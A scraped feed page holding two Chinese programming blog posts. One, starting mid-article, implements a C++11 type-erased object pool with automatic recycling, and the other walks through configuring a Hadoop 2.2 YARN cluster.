我希望能有一个更强大的对象池,这个对象池能容纳所有的对象,还能自动回收用完了对象,不需要手动回收,用起来更方便。要实现这样的对象池需要解决前面提到的两个问题,通过c++11就可以解决这两个问题。</p><p>  对于问题1:容纳所有的对象。本质上需要将对象池中的对象类型擦除,这里用Any类型就可以解决。</p><p>  对于问题2:自动回收用完的对象。这里用智能指针就可以解决,在创建智能指针时可以指定删除器,在删除器中不删除对象,而是回收到对象池中,而这个过程对外界来说是看不见的,由智能指针自己完成。关于Any的实现见我前面的博客内容:<a href="http://www.cnblogs.com/qicosmos/p/3420095.html">c++11打造好用的Any</a>。</p><p>  下面来看看超级对象池的具体实现吧。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">#include &lt;<span style="color: #0000ff;">string</span>&gt;<span style="color: #000000;"><br/>#include </span>&lt;functional&gt;<span style="color: #000000;"><br/>#include </span>&lt;tuple&gt;<span style="color: #000000;"><br/>#include </span>&lt;map&gt;<br/><span style="color: #0000ff;">using</span> <span style="color: #0000ff;">namespace</span><span style="color: #000000;"> std;<br/>#include </span>&lt;Any.hpp&gt;<br/><br/><span style="color: #0000ff;">const</span> <span style="color: #0000ff;">int</span> MaxObjectNum = <span style="color: #800080;">10</span><span style="color: #000000;">;<br/><br/></span><span style="color: #0000ff;">class</span><span style="color: #000000;"> ObjectPool<br/>{<br/> template</span>&lt;typename T, typename... Args&gt;<br/> <span style="color: #0000ff;">using</span> Constructor = std::function&lt;std::shared_ptr&lt;T&gt;(Args...)&gt;<span style="color: #000000;">;<br/></span><span style="color: #0000ff;">public</span><span style="color: #000000;">:<br/><br/> ObjectPool()<br/> {<br/> }<br/><br/> </span>~<span style="color: #000000;">ObjectPool()<br/> {<br/> }<br/><br/> </span><span style="color: #008000;">//</span><span style="color: #008000;">默认创建多少个对象</span><br/> template&lt;typename T, typename... Args&gt;<br/> <span style="color: #0000ff;">void</span> Create(<span style="color: #0000ff;">int</span><span style="color: #000000;"> num)<br/> {<br/> </span><span style="color: #0000ff;">if</span> (num &lt;= <span style="color: #800080;">0</span> || num &gt;<span style="color: #000000;"> MaxObjectNum)<br/> </span><span style="color: #0000ff;">throw</span> std::logic_error(<span style="color: #800000;">"</span><span style="color: #800000;">object num errer</span><span style="color: #800000;">"</span><span style="color: #000000;">);<br/><br/> auto constructName </span>= typeid(Constructor&lt;T, Args...&gt;<span style="color: #000000;">).name();<br/> <br/> Constructor</span>&lt;T, Args...&gt; f = [constructName, <span style="color: #0000ff;">this</span><span style="color: #000000;">](Args... args)<br/> {<br/> </span><span style="color: #0000ff;">return</span> std::shared_ptr&lt;T&gt;(<span style="color: #0000ff;">new</span> T(<span style="color: #000000;">args...),[constructName, </span><span style="color: #0000ff;">this</span>](T*<span style="color: #000000;"> t)<br/> {<br/> m_object_map.emplace(constructName, std::shared_ptr</span>&lt;T&gt;<span style="color: #000000;">(t));<br/> }); <br/> };<br/><br/> m_map.emplace(typeid(T).name(), f);<br/><br/> m_counter.emplace(constructName, num);<br/> }<br/><br/> template</span>&lt;typename T, typename... Args&gt;<span style="color: #000000;"><br/> std::shared_ptr</span>&lt;T&gt;<span style="color: #000000;"> Get(Args... args)<br/> {<br/> </span><span style="color: #0000ff;">using</span> ConstructType = Constructor&lt;T, Args...&gt;<span style="color: #000000;">;<br/><br/> </span><span style="color: #0000ff;">string</span> constructName =<span style="color: #000000;"> typeid(ConstructType).name();<br/> auto range </span>=<span style="color: #000000;"> m_map.equal_range(typeid(T).name());<br/> </span><span style="color: #0000ff;">for</span> (auto it = range.first; it != range.second; ++<span style="color: #000000;">it)<br/> {<br/> </span><span style="color: #0000ff;">if</span> (it-&gt;second.Is&lt;ConstructType&gt;<span style="color: #000000;">())<br/> {<br/> auto ptr </span>= GetInstance&lt;T&gt;<span style="color: #000000;">(constructName, args...);<br/> <br/> </span><span style="color: #0000ff;">if</span> (ptr !=<span style="color: #000000;"> nullptr)<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> ptr;<br/><br/> </span><span style="color: #0000ff;">return</span> CreateInstance&lt;T, Args...&gt;(it-&gt;<span style="color: #000000;">second, constructName, args...);<br/> }<br/> }<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> nullptr;<br/> }<br/><br/></span><span style="color: #0000ff;">private</span><span style="color: #000000;">:<br/> template</span>&lt;typename T, typename... Args&gt;<span style="color: #000000;"><br/> std::shared_ptr</span>&lt;T&gt; CreateInstance(Any&amp; any, <span style="color: #0000ff;">string</span>&amp;<span style="color: #000000;"> constructName, Args... args)<br/> {<br/> </span><span style="color: #0000ff;">using</span> ConstructType = Constructor&lt;T, Args...&gt;<span style="color: #000000;">;<br/> ConstructType f </span>= any.AnyCast&lt;ConstructType&gt;<span style="color: #000000;">();<br/><br/> InitPool(f, constructName, args...);<br/><br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> f(args...);<br/> }<br/><br/> template</span>&lt;typename T, typename... Args&gt;<br/> <span style="color: #0000ff;">void</span> InitPool(T&amp; f, <span style="color: #0000ff;">string</span>&amp;<span style="color: #000000;"> constructName, Args... args)<br/> {<br/> </span><span style="color: #0000ff;">int</span> num =<span style="color: #000000;"> m_counter[constructName];<br/> </span><span style="color: #0000ff;">if</span> (num != <span style="color: #800080;">0</span><span style="color: #000000;">)<br/> {<br/> </span><span style="color: #0000ff;">for</span> (<span style="color: #0000ff;">int</span> i = <span style="color: #800080;">0</span>; i &lt; num - <span style="color: #800080;">1</span>; i++<span style="color: #000000;">)<br/> {<br/> m_object_map.emplace(constructName, f(args...));<br/> }<br/> m_counter[constructName] </span>= <span style="color: #800080;">0</span><span style="color: #000000;">;<br/> }<br/> }<br/><br/> template</span>&lt;typename T, typename... Args&gt;<span style="color: #000000;"><br/> std::shared_ptr</span>&lt;T&gt; GetInstance(<span style="color: #0000ff;">string</span>&amp;<span style="color: #000000;"> constructName, Args... args)<br/> {<br/> auto it </span>=<span style="color: #000000;"> m_object_map.find(constructName);<br/> </span><span style="color: #0000ff;">if</span> (it ==<span style="color: #000000;"> m_object_map.end())<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> nullptr;<br/><br/> auto ptr </span>= it-&gt;second.AnyCast&lt;std::shared_ptr&lt;T&gt;&gt;<span style="color: #000000;">();<br/> </span><span style="color: #0000ff;">if</span> (<span style="color: #0000ff;">sizeof</span>...(Args)&gt;<span style="color: #800080;">0</span><span style="color: #000000;">)<br/> </span>*ptr.<span style="color: #0000ff;">get</span>() =<span style="color: #000000;"> std::move(T(args...));<br/><br/> m_object_map.erase(it);<br/> </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> ptr;<br/> }<br/><br/></span><span style="color: #0000ff;">private</span><span style="color: #000000;">:<br/> multimap</span>&lt;<span style="color: #0000ff;">string</span>, Any&gt;<span style="color: #000000;"> m_map;<br/> multimap</span>&lt;<span style="color: #0000ff;">string</span>, Any&gt;<span style="color: #000000;"> m_object_map;<br/> map</span>&lt;<span style="color: #0000ff;">string</span>, <span style="color: #0000ff;">int</span>&gt;<span style="color: #000000;"> m_counter;<br/>};</span></div><p>测试代码:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #0000ff;">struct</span><span style="color: #000000;"> AT<br/>{<br/> AT(){}<br/><br/> AT(</span><span style="color: #0000ff;">int</span> a, <span style="color: #0000ff;">int</span><span style="color: #000000;"> b) :m_a(a), m_b(b){}<br/><br/> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> Fun()<br/> {<br/> cout </span>&lt;&lt; m_a &lt;&lt; <span style="color: #800000;">"</span> <span style="color: #800000;">"</span> &lt;&lt; m_b &lt;&lt;<span style="color: #000000;"> endl;<br/> }<br/><br/> </span><span style="color: #0000ff;">int</span> m_a = <span style="color: #800080;">0</span><span style="color: #000000;">;<br/> </span><span style="color: #0000ff;">int</span> m_b = <span style="color: #800080;">0</span><span style="color: #000000;">;<br/>};<br/><br/></span><span style="color: #0000ff;">struct</span><span style="color: #000000;"> BT<br/>{<br/> </span><span style="color: #0000ff;">void</span><span style="color: #000000;"> Fun()<br/> {<br/> cout </span>&lt;&lt; <span style="color: #800000;">"</span><span style="color: #800000;">from object b </span><span style="color: #800000;">"</span> &lt;&lt;<span style="color: #000000;"> endl;<br/> }<br/>};<br/><br/></span><span style="color: #0000ff;">void</span><span style="color: #000000;"> TestObjectPool()<br/>{<br/> ObjectPool pool;<br/> pool.Create</span>&lt;AT&gt;(<span style="color: #800080;">2</span><span style="color: #000000;">);<br/> pool.Create</span>&lt;BT&gt;(<span style="color: #800080;">2</span><span style="color: #000000;">);<br/> pool.Create</span>&lt;AT, <span style="color: #0000ff;">int</span>, <span style="color: #0000ff;">int</span>&gt;(<span style="color: #800080;">2</span><span style="color: #000000;">);<br/><br/> {<br/> auto p </span>= pool.Get&lt;AT&gt;<span style="color: #000000;">();<br/> p</span>-&gt;<span style="color: #000000;">Fun();<br/> }<br/> <br/> auto pb </span>= pool.Get&lt;BT&gt;<span style="color: #000000;">();<br/> pb</span>-&gt;<span style="color: #000000;">Fun();<br/><br/> auto p </span>= pool.Get&lt;AT&gt;<span style="color: #000000;">();<br/> p</span>-&gt;<span style="color: #000000;">Fun();<br/><br/> </span><span style="color: #0000ff;">int</span> a = <span style="color: #800080;">5</span>, b = <span style="color: #800080;">6</span><span style="color: #000000;">;<br/> auto p2 </span>= pool.Get&lt;AT&gt;<span style="color: #000000;">(a, b);<br/> p2</span>-&gt;<span style="color: #000000;">Fun();<br/><br/> auto p3 </span>= pool.Get&lt;AT&gt;(<span style="color: #800080;">3</span>, <span style="color: #800080;">4</span><span style="color: #000000;">);<br/> p3</span>-&gt;<span style="color: #000000;">Fun();<br/><br/> {<br/> auto p4 </span>= pool.Get&lt;AT&gt;(<span style="color: #800080;">3</span>, <span style="color: #800080;">4</span><span style="color: #000000;">);<br/> p4</span>-&gt;<span style="color: #000000;">Fun();<br/> }<br/> auto p4 </span>= pool.Get&lt;AT&gt;(<span style="color: #800080;">7</span>, <span style="color: #800080;">8</span><span style="color: #000000;">);<br/> p4</span>-&gt;<span style="color: #000000;">Fun();<br/>}</span></div><p>测试结果:</p><p><img src="http://images.cnitblog.com/i/468725/201404/181722485255778.jpg" alt="" /></p><p>  可以看到这个对象池不仅仅能容纳所有类型的对象还能自动回收用完的对象,强大而又方便。</p><p>&nbsp;</p><p>如果你觉得这篇文章对你有用,可以点一下推荐,谢谢。</p><p>c++11 boost技术交流群:296561497,欢迎大家来交流技术。</p><img src="http://counter.cnblogs.com/blog/rss/3673723" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/qicosmos/p/3673723.html" target="_blank">(原创)一个超级对象池的实现</a>,转载请注明。</p>http://www.cnblogs.com/qq120848369/p/3673694.html【hadoop2.2(yarn)】基于yarn成功执行分布式map-reduce,记录问题解决过程。 - 开心比什么都贵hadoop2.x改进了hadoop1.x的架构, 具体yarn如何工作以及改进了什么可以在网上学, 这里仅记录我个人搭建的问题和理解,希望能帮助遇到困难的朋友。在开始前,必须了解yarn版本的mapreduce框架基础组件包括1个resourcemanager和每个slave上各1个nodeman...2014-04-18T09:13:00Z2014-04-18T09:13:00Z开心比什么都贵http://www.cnblogs.com/qq120848369/<p>hadoop2.x改进了hadoop1.x的架构, 具体yarn如何工作以及改进了什么可以在网上学, 这里仅记录我个人搭建的问题和理解,希望能帮助遇到困难的朋友。</p><p>&nbsp;</p><p>在开始前,必须了解yarn版本的mapreduce框架基础组件包括1个resourcemanager和每个slave上各1个nodemanager,其他进程均由mapreduce任务动态创建。</p><p>&nbsp;</p><p>1,怎么简单高效的部署分布式集群?</p><p>答:先在1台机器上准备好hadoop和java环境,将java和hadoop的jar包环境变量写到.bashrc里去,填写hadoop配置文件。最后,配置这台服务器到其他所有slave节点的信任关系,将整个hadoop目录scp到slave节点上即可完成部署。</p><p>&nbsp;</p><p>2,hadoop配置有哪些是至关重要的?</p><p>  a) core-site.xml:指定hdfs的客户端访问地址,指定hadoop的临时文件目录:</p><p>  </p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;configuration&gt;<br/>&lt;property&gt;<br/> &lt;name&gt;hadoop.tmp.dir&lt;/name&gt;<br/> &lt;value&gt;/home/liangdong/hadoop/hadoop/tmp/hadoop-${user.name}&lt;/value&gt;<br/> &lt;description&gt;A base <span style="color: #0000ff;">for</span> other temporarydirectories.&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;fs.<span style="color: #0000ff;">default</span>.name&lt;/name&gt;<br/> &lt;value&gt;hdfs:<span style="color: #008000;">//</span><span style="color: #008000;">10.42.41.51:8010&lt;/value&gt;</span><br/> &lt;description&gt;The name of the <span style="color: #0000ff;">default</span><span style="color: #000000;"> file system. A URI whose<br/> scheme and authority determine the FileSystem implementation. The<br/> uri</span>'s scheme determines the config property (fs.SCHEME.impl) naming<br/> the FileSystem implementation <span style="color: #0000ff;">class</span>. The uri's authority is used to<br/> determine the host, port, etc. <span style="color: #0000ff;">for</span><span style="color: #000000;"> a filesystem.<br/> </span>&lt;/description&gt;<br/>&lt;/property&gt;<br/>&lt;/configuration&gt;</div><p>  b) hdfs-site.xml:指定hdfs副本个数,按照我的理解,上述fs.default.name是namenode的RPC通讯地址,而这里配置的是namenode和secondarynodenode的管理员HTTP地址,并且secondarynamenode会启动到对应的Host节点上,直到namenode挂了,那么secondarynamenode就会bound到fs.default.name里的端口(8010)提供服务。</p><p>  </p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;configuration&gt;<br/>&lt;property&gt;<br/>&lt;name&gt;dfs.replication&lt;/name&gt;<br/>&lt;value&gt;1&lt;/value&gt;<br/>&lt;description&gt;<span style="color: #000000;">Default block replication.<br/> Theactual number of replications can be specified when the file is created.<br/> Thedefault is used </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> replication is not specified in create time.<br/> </span>&lt;/description&gt;<br/>&lt;/property&gt;<br/>&lt;property&gt;<br/> &lt;name&gt;dfs.namenode.http-address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:50070&lt;/value&gt;<br/> &lt;description&gt;Secondary get fsimage and edits via dfs.http.address&lt;/description&gt;<br/>&lt;/property&gt;<br/>&lt;property&gt;<br/> &lt;name&gt;dfs.namenode.secondary.http-address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline08.m1.baidu.com:50070&lt;/value&gt;<br/> &lt;description&gt;NameNode get the newest fsimage via dfs.secondary.http.address&lt;/description&gt;<br/>&lt;/property&gt;<br/>&lt;/configuration&gt;</div><p>  c) mapred-site.xml:关于mapreduce框架的配置,指定框架为yarn,指定map和reduce默认的个数:</p><p>  </p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;configuration&gt;<br/>&lt;property&gt;<br/> &lt;name&gt;mapreduce.framework.name&lt;/name&gt;<br/> &lt;value&gt;yarn&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;mapred.map.tasks&lt;/name&gt;<br/> &lt;value&gt;10&lt;/value&gt;<br/> &lt;description&gt;<span style="color: #000000;"><br/> As a rule of thumb, use 10x the number of slaves(i.e., number of tasktrackers).<br/> </span>&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;mapred.reduce.tasks&lt;/name&gt;<br/> &lt;value&gt;2&lt;/value&gt;<br/> &lt;description&gt;<span style="color: #000000;"><br/> As a rule of thumb, use 2x the number of slaveprocessors (i.e., number of tasktrackers).<br/> </span>&lt;/description&gt;<br/>&lt;/property&gt;<br/>&lt;/configuration&gt;</div><p>  d)yarn-site.xml:指定resourcemanager的监听客户端提交地址,监听applicationMaster来申请资源的地址,监听nodemanager来上报状态的地址,还有2个给管理员访问的HTTP地址,还有一个至关重要的配置是必须写的,这个配置是2.2版本一个bug导致不会加载默认参数,所以这里要给它写上,就是aux-services。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;configuration&gt;<br/><br/>&lt;!-- Site specific YARN configuration properties --&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.resourcemanager.address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:8032&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.resourcemanager.scheduler.address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:8030&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.resourcemanager.resource-tracker.address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:8031&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.resourcemanager.admin.address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:8033&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.resourcemanager.webapp.address&lt;/name&gt;<br/> &lt;value&gt;m1-reader-q1preonline07.m1.baidu.com:8088&lt;/value&gt;<br/> &lt;description&gt;&lt;/description&gt;<br/>&lt;/property&gt;<br/><br/><br/>&lt;property&gt;<br/> &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt;<br/> &lt;value&gt;mapreduce_shuffle&lt;/value&gt;<br/>&lt;/property&gt;<br/><br/>&lt;/configuration&gt;</div><p>&nbsp;</p><p>最后,把所有datanode的机器ip/host填到slaves文件里(自己创建一个):</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">m1-reader-<span style="color: #000000;">q1preonline07.m1.baidu.com<br/>m1</span>-reader-<span style="color: #000000;">q1preonline08.m1.baidu.com<br/>m1</span>-reader-<span style="color: #000000;">q1preonline09.m1.baidu.com<br/>m1</span>-reader-q1preonline10.m1.baidu.com</div><p>&nbsp;</p><p>slaves文件是给启动集群脚本看的,它会ssh到每台slave机器上启动datanode和nodemanager。而上述其他配置文件,一方面用于指导hadoop集群的进程启动,一方面也被hadoop客户端读取从而获取集群的一些监听地址,这样才能连接上去访问集群或者提交mapreduce任务,这是很容易理解的。</p><p>&nbsp;</p><p>3,怎么启动集群和停止集群?</p><p>答:sbin/start-all.sh sbin/stop-all.sh</p><p>&nbsp;</p><p>4,怎么动态加个slave节点?</p><p>答:把hadoop环境拷贝一份过去,配好控制机到slave的信任,然后再控制机上修改一下slaves文件把机器IP加进去,然后再sbin/start-all.sh一次,脚本检测到这个slave上进程没启动就给拉起来了,一旦拉起来slave上的进程会根据各种配置文件主动连到namenode和resourecemanager上,就进去集群了。</p><p>&nbsp;</p><p>5,在yarn上怎么跑mapreduce?</p><p>答:和hadoop v1一样,就hadoop streaming去提交就可以了,这里hadoop客户端会从配置文件里读yarn resourcemangager提交任务地址并向其提交任务,和v1版本向jobtracker提交不同。</p><p>&nbsp;</p><p>6,怎么看mapreduce任务状态?</p><p>答:上面配置里有yarn-site.xml的配置,里面不是有2个管理员地址吗,就去那里看就可以了,如果一切配置得当,你应该可以看到所有集群节点以及当前在上面跑了多少个map等等信息。</p><p>&nbsp;</p><p>7,当mapreduce跑起来之后是什么样子?</p><p>答:你理应能够在所有slaves节点上看到大量java进程,使用jps命令可以看到applicationMaster进程还有若干jar包或者你的map/reduce程序在跑,最好通过resoucemanager的http页面观察一下是不是所有slave都进入了cluster,并且是不是都有container启动。&nbsp;</p><p>&nbsp;</p><p>8,有任何问题可以留言,我个人发现的新问题也会继续追加,谢谢。</p><img src="http://counter.cnblogs.com/blog/rss/3673694" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/qq120848369/p/3673694.html" target="_blank">【hadoop2.2(yarn)】基于yarn成功执行分布式map-reduce,记录问题解决过程。</a>,转载请注明。</p>

高级...
微信扫一扫
关注无线梦工厂
返回主页 手机网推广 加入Timewe 反馈意见 关于我们 加入收藏 点击这里给我发消息加关注加微信好友

触屏版,3G,Wap,手机网站,浏览器,pc版,在线,嵌入式,Wap浏览器,电脑上的Wap浏览器 各主流搜索引擎收录Timewe
(R)2009-2019 Timewe 时维网络科技有限公司 (86)0755-36601136
简体/繁体